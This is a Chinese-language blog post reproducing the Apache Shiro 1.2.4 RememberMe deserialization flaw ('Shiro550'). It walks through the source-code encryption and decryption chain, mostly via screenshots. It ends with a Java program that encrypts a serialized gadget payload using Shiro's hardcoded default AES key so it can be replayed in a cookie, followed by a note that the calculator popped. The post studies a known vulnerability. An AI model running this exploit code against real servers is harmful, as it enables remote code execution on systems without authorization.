Shiro550漏洞复现

noob
2022-09-24 / 0 评论 / 229 阅读 / 正在检测是否收录...

l8fcv8lq.png

原理

由于用于存储用户信息的RememberMe参数在加密处理时进行了AES加密、Base64加密、序列化处理,因此可以通过伪造该值将恶意代码写入导致Shiro550反序列化漏洞

环境

jdk1.8

shiro-root-1.2.4

分析

加密过程

当用户登录时,为DefaultSecurityManager.login(),会触发onSuccessfulLogin()方法

l8fcvj2s.png

然后在下方看到调用rememberMeSuccessfulLogin()方法,查看该方法

l8fcvu6u.png

可知进行请求就会调用AbstractRememberMeManager.onSuccessfulLogin()方法,查看方法

l8fcw5x6.png

可以看到选择存储RememberMe的就会走下面的if,就会调用rememberIdentity()方法,继续跟进

l8fcwhj3.png

可以看到在这里先调用了AbstractRememberMeManager.convertPrincipalsToBytes()跟进之后就能看到serialize()和encrypt()方法了

l8fcwtbr.png

分别进行分析,先看DefaultSerializer.serialize(),跟进,发现了这里序列化的处理

l8fcx2c9.png

再看AbstractRememberMeManager.encrypt()方法,此处是对已经序列化的参数进行了处理,如果不为空的话就调用JcaCipherService.encrypt()方法,在这之前有一个getEncryptionCipherKey()方法,直接跟进,直到看到调用的已被写死的key,如下图

l8fcxcod.png

l8fcxiwv.png

l8fcxrcz.png

l8fcxxss.png

l8fcy3je.png

然后返回头继续看JcaCipherService.encrypt()方法,此时对ivBytes有一个处理,但是跟进没看明白。。。先继续往下,完成校验之后,会调用重载的encrypt()

l8fcydd0.png

可以看到这里就会输出值output,也就是最终的结果,通过crypt()获取到bytes数组

l8fcymsy.png

获取bytes数组的整个过程AbstractRememberMeManager.rememberIdentity()→AbstractRememberMeManager.rememberSerializedIdentity()→AbstractRememberMeManager.convertPrincipalsToBytes()→AbstractRememberMeManager.encrypt()→output

解密过程

前面login和onSuccessfulLogin基本相同,但是没找到从哪里调用的,于是直接从刚才找到encrypt()方法的类里找到decrypt()方法,看有谁调用了他

l8fcyu7f.png

l8fcz1qv.png

然后就走到了AbstractRememberMeManager.getRememberedPrincipals()方法,可以看到在if里对convertBytesToPrincipals()方法进行了调用,先看上面对bytes数组获取的方法,发现bytes就是base64了获取的setcookie的值

l8fcz9zq.png

l8fczi9u.png

l8fczt5r.png

然后回过头来看AbstractRememberMeManager.convertBytesToPrincipals()方法,先对获取的bytes进行解码,然后再反序列化处理,于是跟进devrypt()方法

l8fd003n.png

如图,类似加密方法,同样是通过getDecryptionCipherKey()获取了默认的key值,然后再在JcaCipherService.decrypt()中进行了处理,跟进

l8fd07mz.png

如图,对bytes值进行了一系列的处理,先是对iv的处理,类似于加密

l8fd0lvd.png

l8fd0w4k.png

然后返回值到decrypt()中,在这里,将获取的decrypted值调用crypt()方法进行处理

l8fd14hu.png

回到最开始的convertBytesToPrincipals()方法,查看DefaultSerializer.deserialize()也就是反序列化的处理,如图,直接发现漏洞触发点readObject(),整个过程结束

l8fd1c44.png

通过该流程进行解码CookieRememberMeManager.rememberSerializedIdentity()→CookieRememberMeManager.getRememberedSerializedIdentity()→AbstractRememberMeManager.getRememberedPrincipals()→AbstractRememberMeManager.convertBytesToPrincipals()→AbstractRememberMeManager.decrypt()→JcaCipherService.decrypt()→JcaCipherService.crypt()

复现
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.nio.file.FileSystems;
import java.nio.file.Files;

public class ShiroRememberMeExp {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("F:/test/payload/urldns.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        BufferedWriter out = new BufferedWriter(new FileWriter("payload.txt"));
        out.write(ciphertext.toString());
        out.close();
        System.out.println("OK");
    }
}

生成序列化数据

l8fd1m6q.png

放到cookie中重放数据包

l8fd21kw.png

弹计算器

0

评论 (0)

取消